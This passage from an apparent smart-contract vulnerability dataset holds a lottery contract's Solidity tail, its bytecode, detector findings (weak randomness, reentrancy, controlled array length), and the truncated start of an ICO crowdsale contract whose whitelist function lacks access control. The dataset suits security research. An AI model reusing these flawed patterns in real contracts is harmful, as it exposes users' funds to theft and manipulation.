function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal {
if (_lotteryClass == 0) {
flotteries[currentTerm1].owners0.push(owner);
flotteries[currentTerm1].dogs0.push(_dogId);
} else if (_lotteryClass == 1) {
flotteries[currentTerm1].owners1.push(owner);
flotteries[currentTerm1].dogs1.push(_dogId);
} else if (_lotteryClass == 2) {
flotteries[currentTerm1].owners2.push(owner);
flotteries[currentTerm1].dogs2.push(_dogId);
} else if (_lotteryClass == 3) {
flotteries[currentTerm1].owners3.push(owner);
flotteries[currentTerm1].dogs3.push(_dogId);
} else if (_lotteryClass == 4) {
flotteries[currentTerm1].owners4.push(owner);
flotteries[currentTerm1].dogs4.push(_dogId);
} else if (_lotteryClass == 5) {
flotteries[currentTerm1].owners5.push(owner);
flotteries[currentTerm1].dogs5.push(_dogId);
} else if (_lotteryClass == 6) {
flotteries[currentTerm1].owners6.push(owner);
flotteries[currentTerm1].dogs6.push(_dogId);
}
}
function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) {
if (currentTerm < 0) {
return 100;
}
uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes);
uint8 cnt = 0;
uint8 lnt = 0;
for (uint i = 0; i < 6; i++) {
if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) {
cnt++;
}
}
if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) {
lnt = 1;
}
uint8 lotclass = 100;
if (cnt==6 && lnt==1) {
lotclass = 0;
} else if (cnt==6 && lnt==0) {
lotclass = 1;
} else if (cnt==5 && lnt==1) {
lotclass = 2;
} else if (cnt==5 && lnt==0) {
lotclass = 3;
} else if (cnt==4 && lnt==1) {
lotclass = 4;
} else if (cnt==3 && lnt==1) {
lotclass = 5;
} else if (cnt==3 && lnt==0) {
lotclass = 6;
} else {
lotclass = 100;
}
return lotclass;
}
function checkLottery(uint256 genes) public view returns(uint8) {
var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery();
if (isReward1) {
return 100;
}
return getLotteryClass(luckyGenesArray, genes);
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
) {
(luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery();
currentGenes1 = lotteryCore.currentGene();
tSupply = dogCore.totalSupply();
sPoolAmount1 = lotteryCore.SpoolAmount();
reward1 = flotteries[term1].reward;
}
} | 0x6060604052600436106100c15763ffffffff60e060020a6000350416630fb5a6b481146100c65780631d4f3e8b146100eb57806322ba8328146101b657806325698d89146101e25780632b58150b14610209578063588f7e12146102215780636bee2cc31461023457806398edc9ce1461024a578063c82ed9731461025d578063cc1602df14610273578063d0044f9a146102a2578063e4504f6214610357578063ee94d7ba1461036a578063f43acb521461037d578063fd8300d114610393575b600080fd5b34156100d157600080fd5b6100d96103a9565b60405190815260200160405180910390f35b34156100f657600080fd5b6100fe6103af565b604051808a60e080838360005b8381101561012357808201518382015260200161010b565b50505050905001898152602001888152602001871515151581526020018681526020018560ff1660ff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561019a578082015183820152602001610182565b505050509050019a505050505050505050505060405180910390f35b34156101c157600080fd5b6101cc60043561061d565b60405160ff909116815260200160405180910390f35b34156101ed57600080fd5b6101f5610644565b604051901515815260200160405180910390f35b341561021457600080fd5b61021f60043561064d565b005b341561022c57600080fd5b6101cc6106ed565b341561023f57600080fd5b6101cc6004356106f6565b341561025557600080fd5b6101cc610b6a565b341561026857600080fd5b6101cc60043561170b565b341561027e57600080fd5b610286611718565b604051600160a060020a03909116815260200160405180910390f35b34156102ad57600080fd5b6102be60043560ff6024351661172c565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156103025780820151838201526020016102ea565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610341578082015183820152602001610329565b5050505090500194505050505060405180910390f35b341561036257600080fd5b610286611d92565b341561037557600080fd5b6101cc611da1565b341561038857600080fd5b6101cc600435611daa565b341561039e57600080fd5b6101cc600435611e63565b60075481565b6103b761252b565b60008060008060008060006103ca612553565b600080546101009004600160a060020a031690631d4f3e8b9060405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b151561041a57600080fd5b6102c65a03f1151561042b57600080fd5b5050506040518060e0018051906020018051906020018051906020018051602091909101604090815260008054969f50949d50929b509099509750610100909204600160a060020a03169163cc135555919051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156104b057600080fd5b6102c65a03f115156104c157600080fd5b5050506040518051600154909550600160a060020a031690506318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561051657600080fd5b6102c65a03f1151561052757600080fd5b505050604051805190509250600060019054906101000a9004600160a060020a0316600160a060020a031663735056a36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561058e57600080fd5b6102c65a03f1151561059f57600080fd5b505050604051805190509150600c6000868152602001908152602001600020600e0180548060200260200160405190810160405280929190818152602001828054801561060b57602002820191906000526020600020905b8154815260200190600101908083116105f7575b50505050509050909192939495969798565b6009816007811061062a57fe5b60209182820401919006915054906101000a900460ff1681565b60005460ff1681565b600154600160a060020a0316630a0f81686000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561069557600080fd5b6102c65a03f115156106a657600080fd5b50505060405180519050600160a060020a031633600160a060020a03161415156106cf57600080fd5b608c81116106dc57600080fd5b4381106106e857600080fd5b600755565b60085460ff1681565b60008060008060008060008061070a612553565b610712612553565b600080548c9a506101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b151561076457600080fd5b6102c65a03f1151561077557600080fd5b5050506040518060e001805190602001805190602001805190602001805160209190910160405260068190556005805460ff1916831515179055600483905560038490556107c66002866007612565565b5050600154600160a060020a03169350636352211e92508d9150600090506040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561082157600080fd5b6102c65a03f1151561083257600080fd5b50505060405180519050985030600160a060020a031689600160a060020a03161415151561085f57600080fd5b60015433600160a060020a0390811691161461087a57600080fd5b600060035411801561088f575060055460ff16155b80156108a057506007544303600454115b15156108ab57600080fd5b600154600160a060020a0316637c62e2a48b6000604051610140015260405160e060020a63ffffffff8416028152600481019190915260240161014060405180830381600087803b15156108fe57600080fd5b6102c65a03f1151561090f57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519050509c509c509c5050509a505050506004548810151561096d57600080fd5b6000871161097a57600080fd5b60ff85161561098857600080fd5b6109de6002600760e0604051908101604052919060e08301826000855b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116109a5579050505050505087611e70565b9350600760ff8516106109f057600080fd5b6109fc6006548561172c565b93509150600090505b8151811015610ac257818181518110610a1a57fe5b906020019060200201518a1415610aba577e0b494b78bae7df5ee200d9bf16d970c94cb9518ee0a9025fc8b7dc06cbb2988a8a86604051928352600160a060020a03909116602083015260ff166040808301919091526080606083018190526016908301527f646f6720616c726561647920726567697374657265640000000000000000000060a083015260c0909101905180910390a160059a50610b5b565b600101610a05565b610ad0600654858b8d6120b4565b7e0b494b78bae7df5ee200d9bf16d970c94cb9518ee0a9025fc8b7dc06cbb2988a8a86604051928352600160a060020a03909116602083015260ff16604080830191909152608060608301819052600a908301527f7375636365737366756c0000000000000000000000000000000000000000000060a083015260c0909101905180910390a160009a505b50505050505050505050919050565b6000806000610b7761252b565b600080610b82612553565b610b8a612553565b60008054819081906101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b1515610bdd57600080fd5b6102c65a03f11515610bee57600080fd5b5050506040518060e001805190602001805190602001805190602001805160209190910160405260068190556005805460ff191683151517905560048390556003849055610c3f6002866007612565565b5050505050506000600454118015610c5c57506007544303600454105b1515610c6757600080fd5b600080546101009004600160a060020a03169063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cb557600080fd5b6102c65a03f11515610cc657600080fd5b505050604051805160035410159050610cde57600080fd5b60055460ff16151560011415610d8d577f5e17202461c7ed5ed4e004fd955b0c7969e47001cfae7f033b5c4370e3920c8f600c60006006548152602001908152602001600020600e0160065460405180806020018381526020018281038252848181548152602001915080548015610d7557602002820191906000526020600020905b815481526020019060010190808311610d61575b5050935050505060405180910390a160019a506116fe565b600080546101009004600160a060020a03169063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ddb57600080fd5b6102c65a03f11515610dec57600080fd5b505050604051805160035460008054600654939092039d509b506101009004600160a060020a0316915063760df4fe908b6040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e5a57600080fd5b6102c65a03f11515610e6b57600080fd5b5050506040518051905015610ed957600b600760e0604051908101604052919060e08301826000855b825461010083900a900460ff16815260206001928301818104948501949093039092029101808411610e94575050600a54949c505060ff9093169950610f3392505050565b6009600760e0604051908101604052919060e08301826000855b825461010083900a900460ff16815260206001928301818104948501949093039092029101808411610ef3575050600854949c505060ff90931699505050505b600095505b60078660ff16101561145257610f506006548761172c565b95509350600085511115611416578451612710028860ff881660078110610f7357fe5b602002015160ff168860ff168c0202811515610f8b57fe5b04925084516001549084029990990198600160a060020a031663ee4ae2c981630519ce796000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fe657600080fd5b6102c65a03f11515610ff757600080fd5b50505060405180519050600a8851870281151561101057fe5b0460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561105457600080fd5b6102c65a03f1151561106557600080fd5b505050600091505b84518210156113de5760ff861615156111ad57600154600160a060020a031663ee4ae2c986848151811061109d57fe5b906020019060200201516103e861035787020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156110f357600080fd5b6102c65a03f1151561110457600080fd5b50505061112584838151811061111657fe5b90602001906020020151612401565b9050600160a060020a038116156111a857600154600160a060020a031663ee4ae2c9826064600587025b0460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561119357600080fd5b6102c65a03f115156111a457600080fd5b5050505b6113d3565b8560ff166001141561127d57600154600160a060020a031663ee4ae2c98684815181106111d657fe5b906020019060200201516103e861036987020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561122c57600080fd5b6102c65a03f1151561123d57600080fd5b50505061124f84838151811061111657fe5b9050600160a060020a038116156111a857600154600160a060020a031663ee4ae2c98260646003870261114f565b8560ff166002141561134d57600154600160a060020a031663ee4ae2c98684815181106112a657fe5b906020019060200201516103e861037287020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156112fc57600080fd5b6102c65a03f1151561130d57600080fd5b50505061131f84838151811061111657fe5b9050600160a060020a038116156111a857600154600160a060020a031663ee4ae2c98260646002870261114f565b600154600160a060020a031663ee4ae2c986848151811061136a57fe5b90602001906020020151600a600987020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156113be57600080fd5b6102c65a03f115156113cf57600080fd5b5050505b60019091019061106d565b6006546000908152600c60205260409020600e0180546001810161140283826125f8565b506000918252602090912001839055611447565b6006546000908152600c60205260409020600e0180546001810161143a83826125f8565b5060009182526020822001555b600190950194610f38565b6006546000908152600c602052604090205415156115ff57600080546101009004600160a060020a031690630c1a8b0590601490839063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156114c357600080fd5b6102c65a03f115156114d457600080fd5b5050506040518051600154909150600160a060020a03166302e0a2ff6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561152757600080fd5b6102c65a03f1151561153857600080fd5b505050604051805190500381151561154c57fe5b0460405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561158357600080fd5b6102c65a03f1151561159457600080fd5b50506000546101009004600160a060020a0316905063e5d71cfe600160405160e060020a63ffffffff84160281529015156004820152602401600060405180830381600087803b15156115e657600080fd5b6102c65a03f115156115f757600080fd5b505050611663565b600080546101009004600160a060020a03169063e5d71cfe9060405160e060020a63ffffffff84160281529015156004820152602401600060405180830381600087803b151561164e57600080fd5b6102c65a03f1151561165f57600080fd5b5050505b7f5e17202461c7ed5ed4e004fd955b0c7969e47001cfae7f033b5c4370e3920c8f600c60006006548152602001908152602001600020600e01600654604051808060200183815260200182810382528481815481526020019150805480156116ea57602002820191906000526020600020905b8154815260200190600101908083116116d6575b5050935050505060405180910390a160009a505b5050505050505050505090565b6002816007811061062a57fe5b6000546101009004600160a060020a031681565b611734612553565b61173c612553565b60ff8316151561182357600c60008581526020019081526020016000206000018054806020026020016040519081016040528092919081815260200182805480156117b057602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611792575b50505050509050600c600085815260200190815260200160002060010180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020905b815481526020019060010190808311611803575b50505050509150611d8b565b8260ff166001141561190a57600c600085815260200190815260200160002060020180548060200260200160405190810160405280929190818152602001828054801561189957602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161187b575b50505050509050600c600085815260200190815260200160002060030180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020908154815260200190600101908083116118035750505050509150611d8b565b8260ff16600214156119f157600c600085815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561198057602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611962575b50505050509050600c600085815260200190815260200160002060050180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020908154815260200190600101908083116118035750505050509150611d8b565b8260ff1660031415611ad857600c6000858152602001908152602001600020600601805480602002602001604051908101604052809291908181526020018280548015611a6757602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611a49575b50505050509050600c600085815260200190815260200160002060070180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020908154815260200190600101908083116118035750505050509150611d8b565b8260ff1660041415611bbf57600c6000858152602001908152602001600020600801805480602002602001604051908101604052809291908181526020018280548015611b4e57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611b30575b50505050509050600c600085815260200190815260200160002060090180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020908154815260200190600101908083116118035750505050509150611d8b565b8260ff1660051415611ca657600c6000858152602001908152602001600020600a01805480602002602001604051908101604052809291908181526020018280548015611c3557602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611c17575b50505050509050600c6000858152602001908152602001600020600b0180548060200260200160405190810160405280929190818152602001828054801561181757602002820191906000526020600020908154815260200190600101908083116118035750505050509150611d8b565b8260ff1660061415611d8b57600c6000858152602001908152602001600020600c01805480602002602001604051908101604052809291908181526020018280548015611d1c57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611cfe575b50505050509050600c6000858152602001908152602001600020600d01805480602002602001604051908101604052809291908181526020018280548015611d8357602002820191906000526020600020905b815481526020019060010190808311611d6f575b505050505091505b9250929050565b600154600160a060020a031681565b600a5460ff1681565b6000611db461252b565b600080546101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b1515611e0357600080fd5b6102c65a03f11515611e1457600080fd5b5050506040518060e001805190602001805190602001805190602001805190602001604052509350505091508015611e4f5760649250611e5c565b611e598285611e70565b92505b5050919050565b600b816007811061062a57fe5b6000611e7a61252b565b60008060008060006006541015611e9457606495506120a9565b600080546101009004600160a060020a031690638a24fd7890899060405160e0015260405160e060020a63ffffffff8416028152600481019190915260240160e060405180830381600087803b1515611eec57600080fd5b6102c65a03f11515611efd57600080fd5b5050506040518060e00160405294506000935060009250600091505b6006821015611f81576000888360078110611f3057fe5b602002015160ff16118015611f6a5750848260078110611f4c57fe5b602002015160ff16888360078110611f6057fe5b602002015160ff16145b15611f76576001909301925b600190910190611f19565b600060c089015160ff16118015611fa5575060c085015160ff1660c089015160ff16145b15611faf57600192505b506064600660ff8516148015611fc857508260ff166001145b15611fd5575060006120a5565b8360ff166006148015611fe9575060ff8316155b15611ff6575060016120a5565b8360ff16600514801561200c57508260ff166001145b15612019575060026120a5565b8360ff16600514801561202d575060ff8316155b1561203a575060036120a5565b8360ff16600414801561205057508260ff166001145b1561205d575060046120a5565b8360ff16600314801561207357508260ff166001145b15612080575060056120a5565b8360ff166003148015612094575060ff8316155b156120a1575060066120a5565b5060645b8095505b505050505092915050565b60ff83161515612138576000848152600c602052604090208054600181016120dc83826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c905260409020600190810180549091810161212483826125f8565b5060009182526020909120018190556123fb565b8260ff16600114156121ab576000848152600c6020526040902060020180546001810161216583826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c90526040902060030180546001810161212483826125f8565b8260ff166002141561221e576000848152600c602052604090206004018054600181016121d883826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c90526040902060050180546001810161212483826125f8565b8260ff1660031415612291576000848152600c6020526040902060060180546001810161224b83826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c90526040902060070180546001810161212483826125f8565b8260ff1660041415612304576000848152600c602052604090206008018054600181016122be83826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c90526040902060090180546001810161212483826125f8565b8260ff1660051415612377576000848152600c60205260409020600a0180546001810161233183826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c905260409020600b0180546001810161212483826125f8565b8260ff16600614156123fb576000848152600c60208190526040909120018054600181016123a583826125f8565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c905260409020600d018054600181016123eb83826125f8565b5060009182526020909120018190555b50505050565b6001546000908190600160a060020a0316637c62e2a48483604051610140015260405160e060020a63ffffffff8416028152600481019190915260240161014060405180830381600087803b151561245857600080fd5b6102c65a03f1151561246957600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051600154909b50600160a060020a0316995063c41a360a98508a975060009650604095505050505050516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561250a57600080fd5b6102c65a03f1151561251b57600080fd5b5050506040518051949350505050565b60e06040519081016040526007815b60008152600019909101906020018161253a5790505090565b60206040519081016040526000815290565b6001830191839082156125e85791602002820160005b838211156125b957835183826101000a81548160ff021916908360ff160217905550926020019260010160208160000104928301926001030261257b565b80156125e65782816101000a81549060ff02191690556001016020816000010492830192600103026125b9565b505b506125f4929150612621565b5090565b81548183558181151161261c5760008381526020902061261c918101908301612642565b505050565b61263f91905b808211156125f457805460ff19168155600101612627565b90565b61263f91905b808211156125f457600081556001016126485600a165627a7a7230582039842b5ec5e83d9d42449eaed4ff91068a60e97ea8b3487ac0e1eb68fe5cf81f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,930 |
0xe07f3f60af265630728a56a752e08d5e93cb1ad5 | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenInterface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint256 _value) external;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
contract KRCICOContract is Ownable{
using SafeMath for uint256;
// The token being sold
TokenInterface public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
uint256 public ratePerWei;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public TOKENS_SOLD;
uint256 maxTokensToSale;
uint256 bonusInPhase1;
uint256 bonusInPhase2;
uint256 bonusInPhase3;
uint256 minimumContribution;
uint256 maximumContribution;
bool isCrowdsalePaused = false;
uint256 totalDurationInDays = 45 days;
uint256 LongTermFoundationBudgetAccumulated;
uint256 LegalContingencyFundsAccumulated;
uint256 MarketingAndCommunityOutreachAccumulated;
uint256 CashReserveFundAccumulated;
uint256 OperationalExpensesAccumulated;
uint256 SoftwareProductDevelopmentAccumulated;
uint256 FoundersTeamAndAdvisorsAccumulated;
uint256 LongTermFoundationBudgetPercentage;
uint256 LegalContingencyFundsPercentage;
uint256 MarketingAndCommunityOutreachPercentage;
uint256 CashReserveFundPercentage;
uint256 OperationalExpensesPercentage;
uint256 SoftwareProductDevelopmentPercentage;
uint256 FoundersTeamAndAdvisorsPercentage;
//Whitelist
struct Whitelist {
string Email;
}
mapping (address => Whitelist) Whitelists;
address[] public WhitelistsAccts;
function setWhitelist(address _address, string _Email) public {
var whitelist = Whitelists[_address];
whitelist.Email = _Email;
WhitelistsAccts.push(_address) -1;
}
function getWhitelist() view public returns (address[]) {
return WhitelistsAccts;
}
function searchWhitelist(address _address) view public returns (string){
return (Whitelists[_address].Email);
}
function countWhitelists() view public returns (uint) {
return WhitelistsAccts.length;
}
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, address _wallet, address _tokenAddress) public
{
require(_startTime >=now);
require(_wallet != 0x0);
startTime = _startTime;
endTime = startTime + totalDurationInDays;
require(endTime >= startTime);
owner = _wallet;
maxTokensToSale = 157500000e18;
bonusInPhase1 = 20;
bonusInPhase2 = 15;
bonusInPhase3 = 10;
minimumContribution = 5e17;
maximumContribution = 150e18;
ratePerWei = 40e18;
token = TokenInterface(_tokenAddress);
LongTermFoundationBudgetAccumulated = 0;
LegalContingencyFundsAccumulated = 0;
MarketingAndCommunityOutreachAccumulated = 0;
CashReserveFundAccumulated = 0;
OperationalExpensesAccumulated = 0;
SoftwareProductDevelopmentAccumulated = 0;
FoundersTeamAndAdvisorsAccumulated = 0;
LongTermFoundationBudgetPercentage = 15;
LegalContingencyFundsPercentage = 10;
MarketingAndCommunityOutreachPercentage = 10;
CashReserveFundPercentage = 20;
OperationalExpensesPercentage = 10;
SoftwareProductDevelopmentPercentage = 15;
FoundersTeamAndAdvisorsPercentage = 20;
}
// fallback function can be used to buy tokens
function () public payable {
var isexist = searchWhitelist(msg.sender);
//Check if address is exist
if(bytes(isexist).length > 0){
buyTokens(msg.sender);
}else{
revert();
}
}
function calculateTokens(uint value) internal view returns (uint256 tokens)
{
uint256 timeElapsed = now - startTime;
uint256 timeElapsedInDays = timeElapsed.div(1 days);
uint256 bonus = 0;
//Phase 1 (15 days)
if (timeElapsedInDays <15)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase1);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
//Phase 2 (15 days)
else if (timeElapsedInDays >=15 && timeElapsedInDays <30)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase2);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
//Phase 3 (15 days)
else if (timeElapsedInDays >=30 && timeElapsedInDays <45)
{
tokens = value.mul(ratePerWei);
bonus = tokens.mul(bonusInPhase3);
bonus = bonus.div(100);
tokens = tokens.add(bonus);
require (TOKENS_SOLD.add(tokens) <= maxTokensToSale);
}
else
{
bonus = 0;
}
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(isCrowdsalePaused == false);
require(validPurchase());
require(TOKENS_SOLD<maxTokensToSale);
uint256 weiAmount = msg.value.div(10**16);
uint256 tokens = calculateTokens(weiAmount);
require(TOKENS_SOLD.add(tokens)<=maxTokensToSale);
// update state
weiRaised = weiRaised.add(msg.value);
token.transfer(beneficiary,tokens);
emit TokenPurchase(owner, beneficiary, msg.value, tokens);
TOKENS_SOLD = TOKENS_SOLD.add(tokens);
distributeFunds();
}
function distributeFunds() internal {
uint received = msg.value;
LongTermFoundationBudgetAccumulated = LongTermFoundationBudgetAccumulated
.add(received.mul(LongTermFoundationBudgetPercentage)
.div(100));
LegalContingencyFundsAccumulated = LegalContingencyFundsAccumulated
.add(received.mul(LegalContingencyFundsPercentage)
.div(100));
MarketingAndCommunityOutreachAccumulated = MarketingAndCommunityOutreachAccumulated
.add(received.mul(MarketingAndCommunityOutreachPercentage)
.div(100));
CashReserveFundAccumulated = CashReserveFundAccumulated
.add(received.mul(CashReserveFundPercentage)
.div(100));
OperationalExpensesAccumulated = OperationalExpensesAccumulated
.add(received.mul(OperationalExpensesPercentage)
.div(100));
SoftwareProductDevelopmentAccumulated = SoftwareProductDevelopmentAccumulated
.add(received.mul(SoftwareProductDevelopmentPercentage)
.div(100));
FoundersTeamAndAdvisorsAccumulated = FoundersTeamAndAdvisorsAccumulated
.add(received.mul(FoundersTeamAndAdvisorsPercentage)
.div(100));
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinContributionLimit = msg.value >= minimumContribution && msg.value <= maximumContribution;
return withinPeriod && nonZeroPurchase && withinContributionLimit;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
/**
* function to change the end timestamp of the ico
* can only be called by owner wallet
**/
function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{
endTime = endTimeUnixTimestamp;
}
/**
* function to change the start timestamp of the ico
* can only be called by owner wallet
**/
function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{
startTime = startTimeUnixTimestamp;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner {
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
**/
function resumeCrowdsale() public onlyOwner {
isCrowdsalePaused = false;
}
function takeTokensBack() public onlyOwner
{
uint remainingTokensInTheContract = token.balanceOf(address(this));
token.transfer(owner,remainingTokensInTheContract);
}
/**
* function to change the minimum contribution
* can only be called from owner wallet
**/
function changeMinimumContribution(uint256 minContribution) public onlyOwner {
minimumContribution = minContribution;
}
/**
* function to change the maximum contribution
* can only be called from owner wallet
**/
function changeMaximumContribution(uint256 maxContribution) public onlyOwner {
maximumContribution = maxContribution;
}
/**
* function to withdraw LongTermFoundationBudget funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawLongTermFoundationBudget() public onlyOwner {
require(LongTermFoundationBudgetAccumulated > 0);
owner.transfer(LongTermFoundationBudgetAccumulated);
LongTermFoundationBudgetAccumulated = 0;
}
/**
* function to withdraw LegalContingencyFunds funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawLegalContingencyFunds() public onlyOwner {
require(LegalContingencyFundsAccumulated > 0);
owner.transfer(LegalContingencyFundsAccumulated);
LegalContingencyFundsAccumulated = 0;
}
/**
* function to withdraw MarketingAndCommunityOutreach funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawMarketingAndCommunityOutreach() public onlyOwner {
require (MarketingAndCommunityOutreachAccumulated > 0);
owner.transfer(MarketingAndCommunityOutreachAccumulated);
MarketingAndCommunityOutreachAccumulated = 0;
}
/**
* function to withdraw CashReserveFund funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawCashReserveFund() public onlyOwner {
require(CashReserveFundAccumulated > 0);
owner.transfer(CashReserveFundAccumulated);
CashReserveFundAccumulated = 0;
}
/**
* function to withdraw OperationalExpenses funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawOperationalExpenses() public onlyOwner {
require(OperationalExpensesAccumulated > 0);
